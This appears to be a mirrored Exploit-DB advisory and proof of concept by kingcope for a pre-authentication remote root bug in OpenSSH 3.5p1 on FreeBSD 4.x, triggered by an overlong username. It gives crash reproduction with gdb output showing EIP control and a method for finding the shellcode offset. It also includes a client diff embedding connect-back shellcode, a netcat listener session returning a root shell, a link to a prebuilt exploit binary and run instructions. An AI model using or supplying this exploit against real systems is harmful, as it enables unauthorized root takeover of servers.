FreeBSD OpenSSH 3.5p1 – Remote Command Execution

  • 作者: kingcope
    日期: 2011-06-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17462/
  • OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
    Discovered and Exploited By Kingcope
    Year 2011
    --
    
    The last two days I have been investigating a vulnerability in OpenSSH
    affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run
    OpenSSH 3.5p1 in the default install.
    
    The sshd banner for 4.11-RELEASE is "SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930".
    
    A working Remote Exploit which spawns a root shell remotely and 
    previous to authentication was developed.
    
    The bug can be triggered both through ssh version 1 and ssh version 2
    using a modified ssh client. During the investigation of the vulnerability it was found that
    the bug resides in the source code file "auth2-pam-freebsd.c".
    
    http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c
    
    This file does not exist in FreeBSD releases greater than 5.2.1. The last commit
    is from 7 years ago.
    
    Specifically the bug follows a code path in the PAM Authentication Thread inside this
    source code, "pam_thread()". It could not be verified if the bug is inside this
    (third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.
    
    Both the challenge response (ssh version 1) and keyboard interactive via pam
    (ssh version 2) authentications go through this code path.
    
    By supplying a long username to the daemon the sshd crashes.
    
    h4x# sysctl kern.sugid_coredump=1
    kern.sugid_coredump: 0 -> 1
    
    root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
    
    h4x# tail -1 /var/log/messages
    Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)
    
    Looking into the coredump reveals:
    
    h4x# gdb -c /sshd.core
    GNU gdb 4.18 (FreeBSD)
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.Type "show warranty" for details.
    This GDB was configured as "i386-unknown-freebsd".
    Core was generated by `sshd'.
    Program terminated with signal 11, Segmentation fault.
    #00x28092305 in ?? ()
    (gdb) x/1i $eip
    0x28092305: (bad)
    
    The sshd crahes at a place with illegal instructions. It looks like it depends
    on how the sshd is started. Starting the sshd from the console as root and running
    the ssh client with long username again reveals:
    
    h4x# killall -9 sshd
    h4x# /usr/sbin/sshd
    
    root@debian:~# ssh -l`perl -e 'print "A" x 100'` 192.168.32.138
    
    h4x# gdb -c /sshd.core
    GNU gdb 4.18 (FreeBSD)
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.Type "show warranty" for details.
    This GDB was configured as "i386-unknown-freebsd".
    Core was generated by `sshd'.
    Program terminated with signal 11, Segmentation fault.
    #00x41414141 in ?? ()
    (gdb) x/10i $eip
    0x41414141: Cannot access memory at address 0x41414141.
    
    As you can see in the above gdb output we can control EIP completely.
    If someone finds out on what this behaviour depends, especially why EIP can
    be controlled when starting sshd in the console and can not be easily controlled
    when being run from the boot sequence, please drop me an email at
    isowarez.isowarez.isowarez (at) googlemail.com
    
    Anyhow this procedure shows that the sshd can be exploited because the instruction
    pointer can be fully controlled.
    
    The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.
    Using a reverse shellcode it will spawn a rootshell.
    
    Only one offset is needed, the position of the shellcode can be found the following way:
    
    h4x# gdb -c /sshd.core
    GNU gdb 4.18 (FreeBSD)
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.Type "show warranty" for details.
    This GDB was configured as "i386-unknown-freebsd".
    Core was generated by `sshd'.
    Program terminated with signal 11, Segmentation fault.
    #00x41414141 in ?? ()
    (gdb) set $x=0x08071000
    (gdb) while(*++$x!=0x90909090)
     >end
    (gdb) x/10b $x
    
    The printed address is the beginning of the shellcode nopsled.
    
    Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.
    
    It roughly does the following:
    
    root@debian:~# ./ssh -1 192.168.32.138
    
    root@debian:~# nc -v -l -p 10000
    listening on [any] 10000 ...
    192.168.32.138: inverse host lookup failed: Unknown host
    connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
    uname -a;id;
    FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 root (at) perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERICi386
    uid=0(root) gid=0(wheel) groups=0(wheel)
    
    --
    
    root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
    667a668,717
    > // Connect Back Shellcode
    >
    > #define IPADDR"\xc0\xa8\x20\x80"
    > #define PORT"\x27\x10"/* htons(10000) */
    >
    > char sc[] =
    >"\x90\x90"
    >"\x90\x90"
    >"\x31\xc9" // xorecx, ecx
    >"\xf7\xe1" // mulecx
    >"\x51" // push ecx
    >"\x41" // incecx
    >"\x51" // push ecx
    >"\x41" // incecx
    >"\x51" // push ecx
    >"\x51" // push ecx
    >"\xb0\x61" // moval, 97
    >"\xcd\x80" // int80h
    >"\x89\xc3" // movebx, eax
    >"\x68"IPADDR // push dword 0101017fh
    >"\x66\x68"PORT // push word 4135
    >"\x66\x51" // push cx
    >"\x89\xe6" // movesi, esp
    >"\xb2\x10" // movdl, 16
    >"\x52" // push edx
    >"\x56" // push esi
    >"\x50" // push eax
    >"\x50" // push eax
    >"\xb0\x62" // moval, 98
    >"\xcd\x80" // int80h
    >"\x41" // incecx
    >"\xb0\x5a" // moval, 90
    >"\x49" // dececx
    >"\x51" // push ecx
    >"\x53" // push ebx
    >"\x53" // push ebx
    >"\xcd\x80" // int80h
    >"\x41" // incecx
    >"\xe2\xf5" // loop -10
    >"\x51" // push ecx
    >"\x68\x2f\x2f\x73\x68" // push dword 68732f2fh
    >"\x68\x2f\x62\x69\x6e" // push dword 6e69622fh
    >"\x89\xe3" // movebx, esp
    >"\x51" // push ecx
    >"\x54" // push esp
    >"\x53" // push ebx
    >"\x53" // push ebx
    >"\xb0\xc4\x34\xff"
    >"\xcd\x80";// int80h
    >
    679a730,737
    > char buffer[8096];
    >
    > // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
    > memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24);
    > memset(buffer+24, '\x90', 5000);
    > memcpy(buffer+24+5000, sc, sizeof(sc));
    > server_user=buffer;
    >
    690a749
    >
    
    Cheers,
    Kingcope
    
    
    A statically linked linux binary of the exploit can be found below attached is a diff to openssh-5.8p2.
    
    the statically linked binary can be downloaded from http://isowarez.de/ssh_0day
    Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17462.tar.gz (ssh_0day.tar.gz)
    
    run like ./ssh -1 -z <yourip> <target>
    setup a netcat, port 443 on yourip first